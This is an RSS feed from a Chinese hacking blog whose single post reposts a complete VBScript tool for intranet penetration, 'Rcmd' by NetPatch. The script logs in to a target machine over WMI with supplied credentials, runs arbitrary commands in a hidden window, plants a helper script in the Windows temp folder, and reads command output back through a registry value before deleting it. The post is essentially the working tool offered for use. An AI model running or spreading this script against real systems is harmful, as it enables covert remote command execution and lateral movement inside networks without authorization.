<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>大智若鲁&#039;s Blog &#187; 渗透</title>
	<atom:link href="http://www.lzpnb.com/archives/tag/%e6%b8%97%e9%80%8f/feed" rel="self" type="application/rss+xml" />
	<link>http://www.lzpnb.com</link>
	<description>----我留在网上的一点痕迹.</description>
	<lastBuildDate>Tue, 27 Dec 2011 12:38:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>用于内网渗透的VBS脚本</title>
		<link>http://www.lzpnb.com/archives/233</link>
		<comments>http://www.lzpnb.com/archives/233#comments</comments>
		<pubDate>Tue, 30 Jun 2009 07:09:32 +0000</pubDate>
		<dc:creator>大智若鲁</dc:creator>
				<category><![CDATA[黑客那点事]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.lzpnb.com/?p=233</guid>
		<description><![CDATA[内网渗透VBS,支持回显 作者:NP On Error Resume Next Set outstreem=Wscript.stdout If (LCase(Right(Wscript.fullname,11))=”Wscript.exe”) Then Set objShell=Wscript.CreateObject(“Wscript.shell”) objShell.Run(“cmd.exe /k cscript //nologo “&#038;Chr(34)&#038;Wscript.ScriptFullName&#038;Chr(34)) Wscript.Quit End If If Wscript.arguments.Count]]></description>
			<content:encoded><![CDATA[<p>内网渗透VBS,支持回显<br />
作者:NP<span id="more-233"></span><br />
<coolcode>On Error Resume Next<br />
Set outstreem=Wscript.stdout<br />
If (LCase(Right(Wscript.fullname,11))=”Wscript.exe”) Then<br />
Set objShell=Wscript.CreateObject(“Wscript.shell”)<br />
objShell.Run(“cmd.exe /k cscript //nologo “&#038;Chr(34)&#038;Wscript.ScriptFullName&#038;Chr(34))<br />
Wscript.Quit<br />
End If<br />
If Wscript.arguments.Count<4 Then<br />
usage()<br />
Wscript.echo "Not enough Parameters."<br />
Wscript.Quit<br />
End If</p>
<p>ip=Wscript.arguments(0)<br />
username=Wscript.arguments(1)<br />
password=Wscript.arguments(2)<br />
CmdStr=Wscript.arguments(3)<br />
EchoStr=Wscript.arguments(4)<br />
foldername="c:\\windows\\temp\\"</p>
<p>wsh.echo "Conneting "&#038;ip&#038;" ...."<br />
Set objlocator=CreateObject("wbemscripting.swbemlocator")<br />
Set objswbemservices=objlocator.connectserver(ip,"root/cimv2",username,password)<br />
showerror(err.number)<br />
Set Win_Process=objswbemservices.Get("Win32_ProcessStartup")<br />
Set Hide_Windows=Win_Process.SpawnInstance_<br />
Hide_Windows.ShowWindow=12<br />
Set Rcmd=objswbemservices.Get("Win32_Process")<br />
Set colFiles = objswbemservices.ExecQuery _<br />
("Select * from CIM_Datafile Where Name = '"&#038;foldername&#038;"read.vbs'")<br />
If colFiles.Count = 0 Then<br />
wsh.echo "Not found read.vbs! Create Now!"<br />
Create_read()<br />
End If</p>
<p>If EchoStr = "0" Then<br />
msg=Rcmd.create("cmd /c "&#038;CmdStr,Null,Hide_Windows,intProcessID)<br />
Else<br />
msg=Rcmd.create("cmd /c cscript %windir%\temp\read.vbs """&#038;CmdStr&#038;"""",Null,Hide_Windows,intProcessID)<br />
End If</p>
<p>If msg = 0 Then<br />
wsh.echo "Command success..."<br />
Else<br />
showerror(Err.Number)<br />
End If</p>
<p>wsh.echo "Please Wait 3 Second ...."<br />
wsh.sleep(3000)<br />
Set StdOut = Wscript.StdOut<br />
Set oReg=objlocator.connectserver(ip,"root/default",username,password).Get("stdregprov")<br />
oReg.GetMultiStringValue &#038;H80000002,"SOFTWARE\Clients","cmd" ,arrValues<br />
wsh.echo String(79,"*")<br />
wsh.echo cmdstr&#038;Chr(13)&#038;Chr(10)<br />
'wsh.echo arrvalues<br />
For Each strValue In arrValues<br />
StdOut.WriteLine strValue<br />
Next<br />
oReg.DeleteValue &#038;H80000002,"SOFTWARE\Clients","cmd"</p>
<p>Sub Create_read()<br />
RunYN =Rcmd.create("cmd /c echo set ws=WScript.CreateObject(^""WScript.Shell^"")> %windir%\temp\read.vbs”_<br />
&#038;”&#038;&#038;echo str=ws.Exec(^”"cmd /c ^”"^&#038;wscript.arguments(0)).StdOut.ReadAll:set ws=nothing>> %windir%\temp\read.vbs”_<br />
&#038;”&#038;&#038;echo Set oReg=GetObject(^”"winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv^”")>> %windir%\temp\read.vbs”_<br />
&#038;”&#038;&#038;echo oReg.SetMultiStringValue ^&#038;H80000002,^”"SOFTWARE\Clients^”",^”"cmd^”",Array(str) >> %windir%\temp\read.vbs”,Null,Hide_Windows,intProcessID)<br />
If RunYN = 0 Then<br />
wsh.echo “read.vbs Created!!!”<br />
Else<br />
showerror(Err.Number)<br />
End If</p>
<p>End Sub</p>
<p>Function showerroronly(errornumber)<br />
If errornumber Then<br />
wsh.echo “Error 0x”&#038;CStr(Hex(Err.Number))&#038;” .”<br />
If Err.Description <> “” Then<br />
wsh.echo “Error Description: “&#038;Err.Description&#038;”.”<br />
End If<br />
Wscript.Quit<br />
Else<br />
outstreem.Write “.”<br />
End If<br />
End Function</p>
<p>Sub usage()<br />
wsh.echo string(79,”*”)<br />
wsh.echo “Rcmd v1.01 by NetPatch”<br />
wsh.echo “Usage:”<br />
wsh.echo “cscript “&#038;wscript.scriptfullname&#038;” targetIP username password Command”<br />
wsh.echo “cscript “&#038;wscript.scriptfullname&#038;” targetIP username password Command 0 //No echo”<br />
wsh.echo string(79,”*”)&#038;vbcrlf<br />
end Sub</coolcode></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lzpnb.com/archives/233/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.lzpnb.com @ 2012-02-07 15:45:46 by W3 Total Cache -->
